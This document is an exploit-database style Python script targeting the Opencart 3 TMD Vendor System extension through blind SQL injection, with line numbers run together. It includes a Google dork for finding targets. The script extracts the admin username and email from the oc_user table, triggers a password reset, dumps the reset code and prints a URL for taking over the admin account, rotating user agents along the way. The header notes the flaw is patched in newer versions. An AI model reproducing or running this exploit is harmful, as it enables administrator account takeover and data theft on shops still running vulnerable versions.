1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 |
# Exploit Title: Opencart 3 Extension TMD Vendor System - Blind SQL Injection # Author: Muhammad Zaki Sulistya (zaki.sulistya@gmail.com) # Date: 03-11-2021 # Product: TMD Vendor System # Vendor Homepage: https://www.opencartextensions.in/ # Software Link: https://www.opencartextensions.in/opencart-multi-vendor-multi-seller-marketplace # Version: TMD Vendor System 3.x # Tested on: MacOS # Google Dork: inurl:index.php?route=vendor/allseller # Info: Patched on the new version #!/usr/bin/python import requests from bs4 import BeautifulSoup from random import randint import time class TmdSqli: def __init__(self, url): self.char_list = ['.',':', '@', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] self.url = url self.user_agents = [] self.set_user_agent() self.is_vulnerable() def set_user_agent(self): if len(self.user_agents) == 0: r = requests.get( 'https://gist.githubusercontent.com/pzb/b4b6f57144aea7827ae4/raw/cf847b76a142955b1410c8bcef3aabe221a63db1/user-agents.txt').text self.user_agents = r.split("\n") def get_content(self, url): try: n = randint(0, 999) headers = {} headers['user-agent'] = self.user_agents[n] req = requests.get(url, headers=headers) soup = BeautifulSoup(req.content, 'html.parser') return soup.find(id='content') except requests.exceptions.ConnectionError as e: print("CONNECTION ERROR:", e) time.sleep(60) self.get_content(url) def is_vulnerable(self): url_injection_true = self.url + "' AND 1=1--+-" url_injection_false = self.url + "' AND 1=0--+-" default_response = self.get_content(self.url) injection_true = self.get_content(url_injection_true) injection_false = self.get_content(url_injection_false) if (default_response == injection_true) and (default_response != injection_false): print("The target is vulnerable") self.injection_true = injection_true row_length = self.user_data_length() self.dump_data(row_length) else: print("Not vulnerable") def user_data_length(self): n = 1 while True: request_url = self.url + "' AND (SELECT LENGTH(CONCAT(username,0x3a,email)) FROM oc_user LIMIT 0,1)=" + str(n) + "--+-" req = self.get_content(request_url) if req != self.injection_true: n += 1 else: print("Row length : " + str(n)) return n break def reset_code_length(self): n = 1 while True: request_url = self.url + "' AND (SELECT LENGTH(CONCAT(code)) FROM oc_user WHERE username = '" + self.username + "')=" + str( n) + "--+-" req = self.get_content(request_url) if req != self.injection_true: n += 1 else: print("Row length : " + str(n)) return n break def dump_data(self, length): data = "" for i in range(1, length + 1): for j in self.char_list: j = ord(j) request_url = self.url + "' AND (SELECT ASCII(SUBSTRING(CONCAT(username,0x3a,email), " + str(i) + ",1)) FROM oc_user LIMIT 0,1)=" + str(j) + "--+-" req = self.get_content(request_url) if req == self.injection_true: data += chr(j) print("Get : " + data) user_data = data.split(":") self.username = user_data[0] self.email = user_data[1] self.reset_password() def dump_reset_code(self, length): data = "" for i in range(1, length + 1): for j in self.char_list: j = ord(j) request_url = self.url + "' AND (SELECT ASCII(SUBSTRING(CONCAT(code), " + str( i) + ",1)) FROM oc_user WHERE username = '" + self.username + "')=" + str(j) + "--+-" req = self.get_content(request_url) if req == self.injection_true: data += chr(j) print("Get : " + data) return data def reset_password(self): self.admin_page = input("Admin page URL : ") request_url = self.admin_page + '/index.php?route=common/forgotten' post_data = {'email':self.email} req = requests.post(request_url, data=post_data) if req.status_code == 200: row_length = self.reset_code_length() reset_code = self.dump_reset_code(row_length) reset_password_url = self.admin_page + '/index.php?route=common/reset&code=' + reset_code print("Gotcha!") print("username : " + self.username) print("You can reset the password : " + reset_password_url) print("TARGET URL ex: https://[redacted]]/index.php?route=product/product&product_id=[product_id]") target = input("Target URL : ") TmdSqli(target) |